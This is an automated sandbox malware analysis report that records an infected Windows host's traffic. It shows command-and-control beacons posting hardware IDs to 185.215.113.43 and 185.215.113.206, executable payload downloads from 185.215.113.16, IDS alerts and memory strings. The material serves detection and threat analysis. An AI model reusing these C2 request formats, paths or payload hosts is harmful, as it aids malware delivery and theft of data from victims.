Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003122001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003123001&unit=246122658369
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGIDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="build"tale------BGHJJDGHCBGDHIECBGID--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003124001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="build"tale------IJKFHIIEHIEGDHJJJKFI--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003125001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="build"tale------BKJDGCGDAAAKECAKKJDA--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBKFHIJKJKECAAAECAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 39 41 42 42 36 34 34 33 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 2d 2d 0d 0a Data Ascii: ------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="hwid"9B9ABB6443FB4109353171------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="build"tale------GHDBKFHIJKJKECAAAECA--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49738 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:57660 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57770 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57778 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57789 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:57777 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57800 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57806 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57817 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57834 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:57840 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57852 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:57863 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57873 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:57886 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:57886 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57880 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57891 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57896 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57907 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57909 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57902 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:57911 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:57914 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.4:49739
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00A9BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile, 8_2_00A9BE30
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "*://*.adsafeprotected.com/services/pub*""*://*.adsafeprotected.com/*/Serving/*""*://*.adsafeprotected.com/jsvid?*""*://*.adsafeprotected.com/*/unit/*""*://*.adsafeprotected.com/jsvid""*://track.adform.net/Serving/TrackPoint/*""*://*.adsafeprotected.com/tpl?*""*://pixel.advertising.com/firefox-etp""*://ads.stickyadstv.com/auto-user-sync*""*://*.adsafeprotected.com/jload""*://*.adsafeprotected.com/jsvid""*://cdn.cmp.advertising.com/firefox-etp""*://*.adsafeprotected.com/jsvid?*""*://*.adsafeprotected.com/services/pub*""*://trends.google.com/trends/embed*""*://trends.google.com/trends/embed*""*://*.adsafeprotected.com/tpl?*""*://*.adsafeprotected.com/*.js*"["*://trends.google.com/trends/embed*"]"https://ads.stickyadstv.com/firefox-etp"["*://trends.google.com/trends/embed*"]"*://pubads.g.doubleclick.net/gampad/*ad-blk*""*://*.adsafeprotected.com/*.png*""*://vast.adsafeprotected.com/vast*""*://pubads.g.doubleclick.net/gampad/*ad*""*://*.adsafeprotected.com/*/adj*""*://www.facebook.com/platform/impression.php*""*://securepubads.g.doubleclick.net/gampad/*ad*""*://*.adsafeprotected.com/*.gif*""*://ads.stickyadstv.com/user-matching*""*://*.adsafeprotected.com/*/imp/*""*://*.adsafeprotected.com/jload?*"getAndForgetRecentTabTransitionDataresource:///actors/ClickHandlerParent.sys.mjsresource:///modules/BrowserWindowTracker.sys.mjsresource://gre/modules/ExtensionParent.sys.mjsUnrecognized theme property found: colors.The amount of values specified for 'resource://gre/modules/WebNavigation.jsm:scope > #context-sep-navigation + *Could not find any MenuItem with id: ), which may lead to unexpected results.getProfileDataAsGzippedArrayBuffermain/anti-tracking-url-decorationmain/websites-with-shared-credential-backendsmain/search-default-override-allowlistUnexpectedly received notification for , falling back to typed transition.Unrecognized theme property found: properties.this.menusInternal</onClicked/listener/<60e82333-914d-4cfa-95b1-5f034b5a704bresource://gre/modules/AddonManager.sys.mjswebNavigation-createdNavigationTargetresource:///modules/UrlbarUtils.sys.mjsresource://gre/modules/PlacesUtils.sys.mjsID of a MenuItem cannot be changedChild MenuItem already has a parent.Unrecognized theme property found: images.resource://gre/modules/AsyncShutdown.sys.mjsmain/devtools-compatibility-browsersmain/translations-identification-modelsChild MenuItem not found, it cannot be removed.main/anti-tracking-url-decoration' property takes effect only when one 